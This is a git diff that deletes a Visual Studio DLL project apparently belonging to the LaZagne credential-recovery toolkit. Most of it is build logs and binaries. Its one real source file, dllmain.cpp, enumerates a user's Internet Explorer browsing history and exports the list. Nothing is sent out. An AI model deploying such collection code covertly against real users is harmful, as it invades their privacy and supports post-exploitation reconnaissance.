-C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\USERS\JOHN\DESKTOP\LAZAGNE_TEST\HISTORIC\RELEASE\HISTORIC.PDB diff --git a/Windows/src/browser_history_dll/historic/historic/Release/historic.dll.intermediate.manifest b/Windows/src/browser_history_dll/historic/historic/Release/historic.dll.intermediate.manifest deleted file mode 100755 index 1c06b619..00000000 --- a/Windows/src/browser_history_dll/historic/historic/Release/historic.dll.intermediate.manifest +++ /dev/null @@ -1,10 +0,0 @@ - - - - - - - - - - diff --git a/Windows/src/browser_history_dll/historic/historic/Release/historic.lastbuildstate b/Windows/src/browser_history_dll/historic/historic/Release/historic.lastbuildstate deleted file mode 100755 index 0a4ccb1b..00000000 --- a/Windows/src/browser_history_dll/historic/historic/Release/historic.lastbuildstate +++ /dev/null @@ -1,2 +0,0 @@ -#v4.0:v100 -Release|Win32|C:\Users\John\Desktop\Lazagne_test\historic\| diff --git a/Windows/src/browser_history_dll/historic/historic/Release/historic.log b/Windows/src/browser_history_dll/historic/historic/Release/historic.log deleted file mode 100755 index a93e7541..00000000 --- a/Windows/src/browser_history_dll/historic/historic/Release/historic.log +++ /dev/null @@ -1,27 +0,0 @@ -La génération a démarré 30/01/2015 14:10:22. -Projet "C:\Users\John\Desktop\Lazagne_test\historic\historic\historic.vcxproj" sur le nœud 2 (build cible(s)). -InitializeBuildStatus: - Création de "Release\historic.unsuccessfulbuild", car "AlwaysCreate" a été spécifié. -ClCompile: - Toutes les sorties sont à jour. - C:\Program Files\Microsoft Visual Studio 10.0\VC\bin\CL.exe /c /Zi /nologo /W3 /WX- /O2 /Oi /Oy- /GL /D WIN32 /D NDEBUG /D _WINDOWS /D _USRDLL /D HISTORIC_EXPORTS /D _WINDLL /D _UNICODE /D UNICODE /Gm- /EHsc /MD /GS /Gy /fp:precise /Zc:wchar_t /Zc:forScope /Fo"Release\\" /Fd"Release\vc100.pdb" /Gd /TP /analyze- /errorReport:prompt dllmain.cpp - dllmain.cpp - Toutes les sorties sont à jour. -Link: - C:\Program Files\Microsoft Visual Studio 10.0\VC\bin\link.exe /ERRORREPORT:PROMPT /OUT:"C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.dll" /INCREMENTAL:NO /NOLOGO kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /MANIFEST /ManifestFile:"Release\historic.dll.intermediate.manifest" /MANIFESTUAC:"level='asInvoker' uiAccess='false'" /DEBUG /PDB:"C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.pdb" /SUBSYSTEM:WINDOWS /OPT:REF /OPT:ICF /LTCG /TLBID:1 /DYNAMICBASE /NXCOMPAT /IMPLIB:"C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib" /MACHINE:X86 /DLL Release\dllmain.obj - Release\history.obj - Release\stdafx.obj - Création de la bibliothèque C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib et de l'objet C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp - Génération de code en cours - Fin de la génération du code - historic.vcxproj -> C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.dll -Manifest: - C:\Program Files\Microsoft SDKs\Windows\v7.0A\bin\mt.exe /nologo /verbose /outputresource:"C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.dll;#2" /manifest Release\historic.dll.intermediate.manifest -FinalizeBuildStatus: - Suppression du fichier "Release\historic.unsuccessfulbuild". - Mise à jour de l'horodatage "Release\historic.lastbuildstate". -Génération du projet "C:\Users\John\Desktop\Lazagne_test\historic\historic\historic.vcxproj" terminée (build cible(s)). - -La génération a réussi. - -Temps écoulé 00:00:03.33 diff --git a/Windows/src/browser_history_dll/historic/historic/Release/historic.obj b/Windows/src/browser_history_dll/historic/historic/Release/historic.obj deleted file mode 100755 index 4dc2a0f4..00000000 Binary files a/Windows/src/browser_history_dll/historic/historic/Release/historic.obj and /dev/null differ diff --git a/Windows/src/browser_history_dll/historic/historic/Release/historic.pch b/Windows/src/browser_history_dll/historic/historic/Release/historic.pch deleted file mode 100755 index bdfe2640..00000000 Binary files a/Windows/src/browser_history_dll/historic/historic/Release/historic.pch and /dev/null differ diff --git a/Windows/src/browser_history_dll/historic/historic/Release/historic.write.1.tlog b/Windows/src/browser_history_dll/historic/historic/Release/historic.write.1.tlog deleted file mode 100755 index ee7862ef..00000000 --- a/Windows/src/browser_history_dll/historic/historic/Release/historic.write.1.tlog +++ /dev/null @@ -1,225 +0,0 @@ -^C:\Users\John\Desktop\Lazagne_test\historic\historic\historic.vcxproj -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -^C:\Users\John\Desktop\Lazagne_test\historic\historic\historic.vcxproj -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -^C:\Users\John\Desktop\Lazagne_test\historic\historic\historic.vcxproj -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -^C:\Users\John\Desktop\Lazagne_test\historic\historic\historic.vcxproj -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -^C:\Users\John\Desktop\Lazagne_test\historic\historic\historic.vcxproj -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -^C:\Users\John\Desktop\Lazagne_test\historic\historic\historic.vcxproj -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -^C:\Users\John\Desktop\Lazagne_test\historic\historic\historic.vcxproj -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -^C:\Users\John\Desktop\Lazagne_test\historic\historic\historic.vcxproj -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -^C:\Users\John\Desktop\Lazagne_test\historic\historic\historic.vcxproj -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -^C:\Users\John\Desktop\Lazagne_test\historic\historic\historic.vcxproj -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -^C:\Users\John\Desktop\Lazagne_test\historic\historic\historic.vcxproj -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -^C:\Users\John\Desktop\Lazagne_test\historic\historic\historic.vcxproj -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -^C:\Users\John\Desktop\Lazagne_test\historic\historic\historic.vcxproj -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -^C:\Users\John\Desktop\Lazagne_test\historic\historic\historic.vcxproj -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -^C:\Users\John\Desktop\Lazagne_test\historic\historic\historic.vcxproj -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -^C:\Users\John\Desktop\Lazagne_test\historic\historic\historic.vcxproj -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -^C:\Users\John\Desktop\Lazagne_test\historic\historic\historic.vcxproj -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -^C:\Users\John\Desktop\Lazagne_test\historic\historic\historic.vcxproj -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -^C:\Users\John\Desktop\Lazagne_test\historic\historic\historic.vcxproj -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -^C:\Users\John\Desktop\Lazagne_test\historic\historic\historic.vcxproj -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -^C:\Users\John\Desktop\Lazagne_test\historic\historic\historic.vcxproj -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -^C:\Users\John\Desktop\Lazagne_test\historic\historic\historic.vcxproj -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -^C:\Users\John\Desktop\Lazagne_test\historic\historic\historic.vcxproj -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -^C:\Users\John\Desktop\Lazagne_test\historic\historic\historic.vcxproj -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -^C:\Users\John\Desktop\Lazagne_test\historic\historic\historic.vcxproj -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -^C:\Users\John\Desktop\Lazagne_test\historic\historic\historic.vcxproj -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -^C:\Users\John\Desktop\Lazagne_test\historic\historic\historic.vcxproj -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -^C:\Users\John\Desktop\Lazagne_test\historic\historic\historic.vcxproj -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -^C:\Users\John\Desktop\Lazagne_test\historic\historic\historic.vcxproj -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -^C:\Users\John\Desktop\Lazagne_test\historic\historic\historic.vcxproj -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -^C:\Users\John\Desktop\Lazagne_test\historic\historic\historic.vcxproj -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -^C:\Users\John\Desktop\Lazagne_test\historic\historic\historic.vcxproj -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -^C:\Users\John\Desktop\Lazagne_test\historic\historic\historic.vcxproj -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -^C:\Users\John\Desktop\Lazagne_test\historic\historic\historic.vcxproj -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -^C:\Users\John\Desktop\Lazagne_test\historic\historic\historic.vcxproj -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -^C:\Users\John\Desktop\Lazagne_test\historic\historic\historic.vcxproj -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -^C:\Users\John\Desktop\Lazagne_test\historic\historic\historic.vcxproj -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -^C:\Users\John\Desktop\Lazagne_test\historic\historic\historic.vcxproj -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -^C:\Users\John\Desktop\Lazagne_test\historic\historic\historic.vcxproj -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -^C:\Users\John\Desktop\Lazagne_test\historic\historic\historic.vcxproj -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -^C:\Users\John\Desktop\Lazagne_test\historic\historic\historic.vcxproj -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -^C:\Users\John\Desktop\Lazagne_test\historic\historic\historic.vcxproj -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -^C:\Users\John\Desktop\Lazagne_test\historic\historic\historic.vcxproj -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -^C:\Users\John\Desktop\Lazagne_test\historic\historic\historic.vcxproj -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -^C:\Users\John\Desktop\Lazagne_test\historic\historic\historic.vcxproj -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.lib -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp -C:\Users\John\Desktop\Lazagne_test\historic\Release\historic.exp diff --git a/Windows/src/browser_history_dll/historic/historic/Release/history.obj b/Windows/src/browser_history_dll/historic/historic/Release/history.obj deleted file mode 100755 index 2244e2a7..00000000 Binary files a/Windows/src/browser_history_dll/historic/historic/Release/history.obj and /dev/null differ diff --git a/Windows/src/browser_history_dll/historic/historic/Release/link.command.1.tlog b/Windows/src/browser_history_dll/historic/historic/Release/link.command.1.tlog deleted file mode 100755 index a0e46ed4..00000000 Binary files a/Windows/src/browser_history_dll/historic/historic/Release/link.command.1.tlog and /dev/null differ diff --git a/Windows/src/browser_history_dll/historic/historic/Release/link.read.1.tlog b/Windows/src/browser_history_dll/historic/historic/Release/link.read.1.tlog deleted file mode 100755 index a9ed66eb..00000000 Binary files a/Windows/src/browser_history_dll/historic/historic/Release/link.read.1.tlog and /dev/null differ diff --git a/Windows/src/browser_history_dll/historic/historic/Release/link.write.1.tlog b/Windows/src/browser_history_dll/historic/historic/Release/link.write.1.tlog deleted file mode 100755 index 7bafba52..00000000 Binary files a/Windows/src/browser_history_dll/historic/historic/Release/link.write.1.tlog and /dev/null differ diff --git a/Windows/src/browser_history_dll/historic/historic/Release/mt.command.1.tlog b/Windows/src/browser_history_dll/historic/historic/Release/mt.command.1.tlog deleted file mode 100755 index 3b93f743..00000000 Binary files a/Windows/src/browser_history_dll/historic/historic/Release/mt.command.1.tlog and /dev/null differ diff --git a/Windows/src/browser_history_dll/historic/historic/Release/mt.read.1.tlog b/Windows/src/browser_history_dll/historic/historic/Release/mt.read.1.tlog deleted file mode 100755 index 2fb8d85e..00000000 Binary files a/Windows/src/browser_history_dll/historic/historic/Release/mt.read.1.tlog and /dev/null differ diff --git a/Windows/src/browser_history_dll/historic/historic/Release/mt.write.1.tlog b/Windows/src/browser_history_dll/historic/historic/Release/mt.write.1.tlog deleted file mode 100755 index 3a6061b4..00000000 Binary files a/Windows/src/browser_history_dll/historic/historic/Release/mt.write.1.tlog and /dev/null differ diff --git a/Windows/src/browser_history_dll/historic/historic/Release/stdafx.obj b/Windows/src/browser_history_dll/historic/historic/Release/stdafx.obj deleted file mode 100755 index 243935e8..00000000 Binary files a/Windows/src/browser_history_dll/historic/historic/Release/stdafx.obj and /dev/null differ diff --git a/Windows/src/browser_history_dll/historic/historic/Release/vc100.pdb b/Windows/src/browser_history_dll/historic/historic/Release/vc100.pdb deleted file mode 100755 index c91298de..00000000 Binary files a/Windows/src/browser_history_dll/historic/historic/Release/vc100.pdb and /dev/null differ diff --git a/Windows/src/browser_history_dll/historic/historic/dllmain.cpp b/Windows/src/browser_history_dll/historic/historic/dllmain.cpp deleted file mode 100755 index 41c88318..00000000 --- a/Windows/src/browser_history_dll/historic/historic/dllmain.cpp +++ /dev/null @@ -1,59 +0,0 @@ -#include -#include -#include -#include -#include - -#pragma comment(lib, "ole32.lib") - -#define URL_HISTORY_MAX 512 -#include - -int GetUrlHistory(wchar_t **UrlHistory); -int GetUrlHistory(wchar_t **UrlHistory) -{ - int max = 0, len; - wchar_t *p = NULL; - IUrlHistoryStg2 *pUrlHistoryStg2 = NULL; - IEnumSTATURL *pEnumUrls; - STATURL StatUrl[1]; - ULONG ulFetched; - HRESULT hr; - CoInitialize(NULL); - - hr = CoCreateInstance(CLSID_CUrlHistory, NULL, CLSCTX_INPROC_SERVER,IID_IUrlHistoryStg2,(void**)(&pUrlHistoryStg2)); - if (SUCCEEDED(hr)) - { - hr = pUrlHistoryStg2->EnumUrls(&pEnumUrls); - if (SUCCEEDED(hr)) - { - while (max < URL_HISTORY_MAX && (hr = pEnumUrls->Next(1,StatUrl, &ulFetched)) == S_OK) - { - if (StatUrl->pwcsUrl != NULL) - { - if (NULL != (p = wcschr(StatUrl->pwcsUrl,'?'))) - *p='\0'; - len = wcslen(StatUrl->pwcsUrl) + 1; - UrlHistory[max] = new wchar_t[len]; - if (UrlHistory[max]) - { - wcscpy_s(UrlHistory[max], len, StatUrl->pwcsUrl); - UrlHistory[max][len - 1] = '\0'; - max++; - } - } - } - pEnumUrls->Release(); - } - pUrlHistoryStg2->Release(); - } - CoUninitialize(); - return max; -} - -extern "C" __declspec(dllexport) wchar_t** list() -{ - static wchar_t *UrlHistory[URL_HISTORY_MAX]; - GetUrlHistory(UrlHistory); - return &UrlHistory[0]; -} \ No newline at end of file diff --git a/Windows/src/browser_history_dll/historic/historic/historic.vcxproj b/Windows/src/browser_history_dll/historic/historic/historic.vcxproj deleted file mode 100755 index 05a9ef0e..00000000 --- a/Windows/src/browser_history_dll/historic/historic/historic.vcxproj +++ /dev/null @@ -1,105 +0,0 @@ - - - - - Debug - Win32 - - - Debug - x64 - - - Release - Win32 - - - Release - x64 - - - - {01577051-CDE2-4A5A-80D4-16F2A5A1026D} - Win32Proj - historic - history - - - - DynamicLibrary - true - Unicode - - - DynamicLibrary - false - true - Unicode - - - - - - - - - - - - - true - - - false - - - - Use - Level3 - Disabled - WIN32;_DEBUG;_WINDOWS;_USRDLL;HISTORIC_EXPORTS;%(PreprocessorDefinitions) - - - Windows - true - - - - - Level3 - Use - MaxSpeed - true - true - WIN32;NDEBUG;_WINDOWS;_USRDLL;HISTORIC_EXPORTS;%(PreprocessorDefinitions) - - - Windows - true - true - true - - - - - - - - - false - - - false - - - - - - Create - Create - - - - - - \ No newline at end of file diff --git a/Windows/src/browser_history_dll/historic/historic/historic.vcxproj.filters b/Windows/src/browser_history_dll/historic/historic/historic.vcxproj.filters deleted file mode 100755 index 950a7d42..00000000 --- a/Windows/src/browser_history_dll/historic/historic/historic.vcxproj.filters +++ /dev/null @@ -1,36 +0,0 @@ - - - - - {4FC737F1-C7A5-4376-A066-2A32D752A2FF} - cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx - - - {93995380-89BD-4b04-88EB-625FBE52EBFB} - h;hpp;hxx;hm;inl;inc;xsd - - - {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} - rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms - - - - - Fichiers d%27en-tête - - - Fichiers d%27en-tête - - - - - Fichiers sources - - - Fichiers sources - - - Fichiers sources - - - \ No newline at end of file diff --git a/Windows/src/browser_history_dll/historic/historic/historic.vcxproj.user b/Windows/src/browser_history_dll/historic/historic/historic.vcxproj.user deleted file mode 100755 index 695b5c78..00000000 --- a/Windows/src/browser_history_dll/historic/historic/historic.vcxproj.user +++ /dev/null @@ -1,3 +0,0 @@ - - - \ No newline at end of file diff --git a/Windows/src/browser_history_dll/historic/historic/history.cpp b/Windows/src/browser_history_dll/historic/historic/history.cpp deleted file mode 100755 index 48b5c31c..00000000 --- a/Windows/src/browser_history_dll/historic/historic/history.cpp +++ /dev/null @@ -1,6 +0,0 @@ -// historic.cpp�: d�finit les fonctions export�es pour l'application DLL. -// - -#include "stdafx.h" - - diff --git a/Windows/src/browser_history_dll/historic/historic/stdafx.cpp b/Windows/src/browser_history_dll/historic/historic/stdafx.cpp deleted file mode 100755 index 02f32a9b..00000000 --- a/Windows/src/browser_history_dll/historic/historic/stdafx.cpp +++ /dev/null @@ -1,8 +0,0 @@ -// stdafx.cpp�: fichier source incluant simplement les fichiers Include standard -// historic.pch repr�sente l'en-t�te pr�compil� -// stdafx.obj contient les informations de type pr�compil�es - -#include "stdafx.h" - -// TODO: faites r�f�rence aux en-t�tes suppl�mentaires n�cessaires dans STDAFX.H -// absents de ce fichier diff --git a/Windows/src/browser_history_dll/historic/historic/stdafx.h b/Windows/src/browser_history_dll/historic/historic/stdafx.h deleted file mode 100755 index 670639b6..00000000 --- a/Windows/src/browser_history_dll/historic/historic/stdafx.h +++ /dev/null @@ -1,16 +0,0 @@ -// stdafx.h�: fichier Include pour les fichiers Include syst�me standard, -// ou les fichiers Include sp�cifiques aux projets qui sont utilis�s fr�quemment, -// et sont rarement modifi�s -// - -#pragma once - -#include "targetver.h" - -#define WIN32_LEAN_AND_MEAN // Exclure les en-t�tes Windows rarement utilis�s -// Fichiers d'en-t�te Windows�: -#include - - - -// TODO: faites r�f�rence ici aux en-t�tes suppl�mentaires n�cessaires au programme diff --git a/Windows/src/browser_history_dll/historic/historic/targetver.h b/Windows/src/browser_history_dll/historic/historic/targetver.h deleted file mode 100755 index b9d18648..00000000 --- a/Windows/src/browser_history_dll/historic/historic/targetver.h +++ /dev/null @@ -1,8 +0,0 @@ -#pragma once - -// Si vous incluez SDKDDKVer.h, cela d�finit la derni�re plateforme Windows disponible. - -// Si vous souhaitez g�n�rer votre application pour une plateforme Windows pr�c�dente, incluez WinSDKVer.h et -// d�finissez la macro _WIN32_WINNT � la plateforme que vous souhaitez prendre en charge avant d'inclure SDKDDKVer.h. - -#include diff --git a/Windows/src/browser_history_dll/historic/ipch/historic-a0234e08/history-838e9c18.ipch b/Windows/src/browser_history_dll/historic/ipch/historic-a0234e08/history-838e9c18.ipch deleted file mode 100755 index 68e89c73..00000000 Binary files a/Windows/src/browser_history_dll/historic/ipch/historic-a0234e08/history-838e9c18.ipch and /dev/null differ